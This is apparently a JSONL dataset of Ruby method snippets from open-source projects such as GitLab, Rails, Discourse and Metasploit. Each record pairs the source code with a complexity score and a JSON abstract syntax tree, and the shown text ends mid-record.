{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/plugins/frontend_linking/generator.rb","start_line":81,"raw_source":"def all_angular_frontend_plugins\n        openproject_plugins.select do |_, path|\n          frontend_entry = File.join(path, \"frontend\", \"module\", \"main.ts\")\n          File.readable? frontend_entry\n        end\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"all_angular_frontend_plugins\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"openproject_plugins\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"frontend_entry\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"frontend\"]},{\"type\":\"str\",\"children\":[\"module\"]},{\"type\":\"str\",\"children\":[\"main.ts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"readable?\",{\"type\":\"lvar\",\"children\":[\"frontend_entry\"]}]}]}]}]}","id":"91530d6f-eceb-4a51-b957-02e4c75de210"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/lib/active_job/serializers.rb","start_line":66,"raw_source":"def add_new_serializers(new_serializers)\n          new_serializers.map! do |s|\n            if s.is_a?(Class) && s < ObjectSerializer\n              s.instance\n            else\n              s\n            end\n          end\n\n          @serializers += new_serializers\n          index_serializers(new_serializers)\n          @serializers\n        end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_new_serializers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_serializers\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_serializers\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"<\",{\"type\":\"const\",\"children\":[null,\"ObjectSerializer\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"instance\"]},{\"type\":\"lvar\",\"children\":[\"s\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@serializers\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"new_serializers\"]}]},{\"type\":\"send\",\"children\":[null,\"index_serializers\",{\"type\":\"lvar\",\"children\":[\"new_serializers\"]}]},{\"type\":\"ivar\",\"children\":[\"@serializers\"]}]}]}","id":"fdefa909-0bb9-49fa-99bb-8a9878361199"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/recursive.rb","start_line":41,"raw_source":"def call(env)\n      dup._call(env)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dup\"]},\"_call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}","id":"71fa1325-89a3-4301-af76-430b78727746"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/after_create_service.rb","start_line":7,"raw_source":"def execute(merge_request)\n      merge_request.ensure_merge_request_diff\n\n      prepare_for_mergeability(merge_request)\n      prepare_merge_request(merge_request)\n\n      mark_merge_request_as_prepared(merge_request)\n\n      logger.info(**log_payload(merge_request, 'Executing hooks'))\n      execute_hooks(merge_request)\n      logger.info(**log_payload(merge_request, 'Executed hooks'))\n    end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"ensure_merge_request_diff\"]},{\"type\":\"send\",\"children\":[null,\"prepare_for_mergeability\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[null,\"prepare_merge_request\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[null,\"mark_merge_request_as_prepared\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_payload\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"str\",\"children\":[\"Executing hooks\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_hooks\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_payload\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"str\",\"children\":[\"Executed hooks\"]}]}]}]}]}]}]}","id":"a21215d3-2e99-43d7-801f-469289c40caf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rabal/tree.rb","start_line":196,"raw_source":"def current_path\n    #\n    # WMAP: removed the asterixs and modified the first return\n    # to just return a '/'\n    # \n    return \"/\" if is_root? \n    return ([name,parent.current_path]).flatten.reverse.join(\"/\")\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"current_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_root?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"current_path\"]}]}]},\"flatten\"]},\"reverse\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}","id":"8441c259-48b2-4f5a-85f6-688ffbeb0a7c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/profile.rb","start_line":152,"raw_source":"def access_token_rotated_email(user, token_name)\n      return unless user&.active?\n\n      @user = user\n      @token_name = token_name\n      @target_url = user_settings_personal_access_tokens_url\n\n      email_with_layout(\n        to: @user.notification_email_or_default,\n        subject: subject(_(\"Your personal access token has been rotated\"))\n      )\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"access_token_rotated_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"token_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"active?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@token_name\",{\"type\":\"lvar\",\"children\":[\"token_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@target_url\",{\"type\":\"send\",\"children\":[null,\"user_settings_personal_access_tokens_url\"]}]},{\"type\":\"send\",\"children\":[null,\"email_with_layout\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"notification_email_or_default\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[null,\"subject\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Your personal access token has been rotated\"]}]}]}]}]}]}]}]}","id":"b2bf030a-3545-4c49-8261-5d87ec8c6237"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_sort.rb","start_line":148,"raw_source":"def autocorrect(corrector, node, sort_node, sorter, accessor)\n          # Remove accessor, e.g. `first` or `[-1]`.\n          corrector.remove(range_between(accessor_start(node), node.source_range.end_pos))\n          # Replace \"sort\" or \"sort_by\" with the appropriate min/max method.\n          corrector.replace(sort_node.loc.selector, suggestion(sorter, accessor, arg_value(node)))\n          # Replace to avoid syntax errors when followed by a logical operator.\n          replace_with_logical_operator(corrector, node) if with_logical_operator?(node)\n        end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"sort_node\"]},{\"type\":\"arg\",\"children\":[\"sorter\"]},{\"type\":\"arg\",\"children\":[\"accessor\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"send\",\"children\":[null,\"accessor_start\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"end_pos\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort_node\"]},\"loc\"]},\"selector\"]},{\"type\":\"send\",\"children\":[null,\"suggestion\",{\"type\":\"lvar\",\"children\":[\"sorter\"]},{\"type\":\"lvar\",\"children\":[\"accessor\"]},{\"type\":\"send\",\"children\":[null,\"arg_value\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_logical_operator?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"replace_with_logical_operator\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},null]}]}]}","id":"5b49ed42-7856-40e0-95bb-dfb9b00bba39"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/user/action/silence_all.rb","start_line":16,"raw_source":"def silenced_users\n    users.map do |user|\n      UserSilencer\n        .new(\n          user,\n          actor,\n          message_body: message,\n          keep_posts: true,\n          silenced_till:,\n          reason:,\n          post_id:,\n        )\n        .tap do |silencer|\n          next unless silencer.silence\n          Jobs.enqueue(\n            :critical_user_email,\n            type: \"account_silenced\",\n            user_id: user.id,\n            user_history_id: silencer.user_history.id,\n          )\n        end\n    rescue => err\n      Discourse.warn_exception(err, message: \"failed to silence user with ID #{user.id}\")\n    end\n  end","complexity_score":24.3,"ast_json":"{\"type\":\"def\",\"children\":[\"silenced_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"users\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserSilencer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"actor\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_body\"]},{\"type\":\"send\",\"children\":[null,\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keep_posts\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"silenced_till\"]},{\"type\":\"send\",\"children\":[null,\"silenced_till\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"send\",\"children\":[null,\"reason\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[null,\"post_id\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"silencer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"silencer\"]},\"silence\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"critical_user_email\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"account_silenced\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_history_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"silencer\"]},\"user_history\"]},\"id\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"warn_exception\",{\"type\":\"lvar\",\"children\":[\"err\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"failed to silence user with ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]}]}]},null]}]}]}","id":"1d2f6583-2a50-4030-b03f-ad8082f4f202"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/member_entity.rb","start_line":90,"raw_source":"def current_user\n    options[:current_user]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]}]}","id":"c7d71abe-f468-4d86-9c27-cff928cce581"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/invisible_captcha_on_signup.rb","start_line":10,"raw_source":"def on_honeypot_spam_callback\n    return unless Gitlab::CurrentSettings.invisible_captcha_enabled\n\n    invisible_captcha_honeypot_counter.increment\n    log_request('Invisible_Captcha_Honeypot_Request')\n\n    head(:ok)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_honeypot_spam_callback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"invisible_captcha_enabled\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invisible_captcha_honeypot_counter\"]},\"increment\"]},{\"type\":\"send\",\"children\":[null,\"log_request\",{\"type\":\"str\",\"children\":[\"Invisible_Captcha_Honeypot_Request\"]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"a2b733f0-849d-462d-84ed-7bd6544fbf65"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/release_asset_links/update.rb","start_line":46,"raw_source":"def resolve(id:, **link_attrs)\n        link = authorized_find!(id: id)\n\n        result = ::Releases::Links::UpdateService\n          .new(link.release, current_user, link_attrs)\n          .execute(link)\n\n        if result.success?\n          { link: result.payload[:link], errors: [] }\n        else\n          { link: nil, errors: result.message }\n        end\n      end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"id\"]},{\"type\":\"kwrestarg\",\"children\":[\"link_attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"link\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Releases\"]},\"Links\"]},\"UpdateService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"release\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"link_attrs\"]}]},\"execute\",{\"type\":\"lvar\",\"children\":[\"link\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"link\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"message\"]}]}]}]}]}]}","id":"9da36eec-8f3e-4ba9-9801-0d377ea9cfa6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/jwt_controller.rb","start_line":58,"raw_source":"def log_authentication_failed(login, result)\n    log_info = {\n      message: 'JWT authentication failed',\n      http_user: login,\n      remote_ip: request.ip,\n      auth_service: params[:service],\n      'auth_result.type': result.type,\n      'auth_result.actor_type': result.actor&.class\n    }.merge(::Gitlab::ApplicationContext.current)\n\n    Gitlab::AuthLogger.warn(log_info)\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"log_authentication_failed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"login\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"log_info\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"JWT authentication failed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_user\"]},{\"type\":\"lvar\",\"children\":[\"login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remote_ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auth_service\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auth_result.type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auth_result.actor_type\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"actor\"]},\"class\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"ApplicationContext\"]},\"current\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AuthLogger\"]},\"warn\",{\"type\":\"lvar\",\"children\":[\"log_info\"]}]}]}]}","id":"37e3fc20-0e7b-482c-8034-d17f341528a9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/snippet.rb","start_line":345,"raw_source":"def default_branch\n    super || Gitlab::DefaultBranch.value(object: project)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"default_branch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"DefaultBranch\"]},\"value\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]}]}","id":"56fd77a5-7912-4c50-b26e-bde2640b91c3"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/application.rb","start_line":290,"raw_source":"def config_for(name, env: Rails.env)\n      yaml = name.is_a?(Pathname) ? name : Pathname.new(\"#{paths[\"config\"].existent.first}/#{name}.yml\")\n\n      if yaml.exist?\n        require \"erb\"\n        all_configs    = ActiveSupport::ConfigurationFile.parse(yaml).deep_symbolize_keys\n        config, shared = all_configs[env.to_sym], all_configs[:shared]\n\n        if shared\n          config = {} if config.nil? && shared.is_a?(Hash)\n          if config.is_a?(Hash) && shared.is_a?(Hash)\n            config = shared.deep_merge(config)\n          elsif config.nil?\n            config = shared\n          end\n        end\n\n        if config.is_a?(Hash)\n          config = ActiveSupport::OrderedOptions.new.update(config)\n        end\n\n        config\n      else\n        raise \"Could not load configuration. No such file - #{yaml}\"\n      end\n    end","complexity_score":55.4,"ast_json":"{\"type\":\"def\",\"children\":[\"config_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"env\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"yaml\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Pathname\"]}]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"paths\"]},\"[]\",{\"type\":\"str\",\"children\":[\"config\"]}]},\"existent\"]},\"first\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\".yml\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]},\"exist?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"erb\"]}]},{\"type\":\"lvasgn\",\"children\":[\"all_configs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"ConfigurationFile\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"yaml\"]}]},\"deep_symbolize_keys\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\"]},{\"type\":\"lvasgn\",\"children\":[\"shared\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_configs\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"to_sym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_configs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shared\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shared\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shared\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shared\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shared\"]},\"deep_merge\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"lvar\",\"children\":[\"shared\"]}]},null]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"OrderedOptions\"]},\"new\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not load configuration. No such file - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml\"]}]}]}]}]}]}]}","id":"222e003a-6efc-4c21-b93f-e26d7ad3aafb"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/mailers/administrator_notifications/account_notification_mailer.rb","start_line":53,"raw_source":"def automation_rule_disabled(rule)\n    subject = 'Automation rule disabled due to validation errors.'\n    action_url = settings_url('automation/list')\n    meta = { 'rule_name' => rule.name }\n\n    send_notification(subject, action_url: action_url, meta: meta)\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"automation_rule_disabled\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rule\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subject\",{\"type\":\"str\",\"children\":[\"Automation rule disabled due to validation 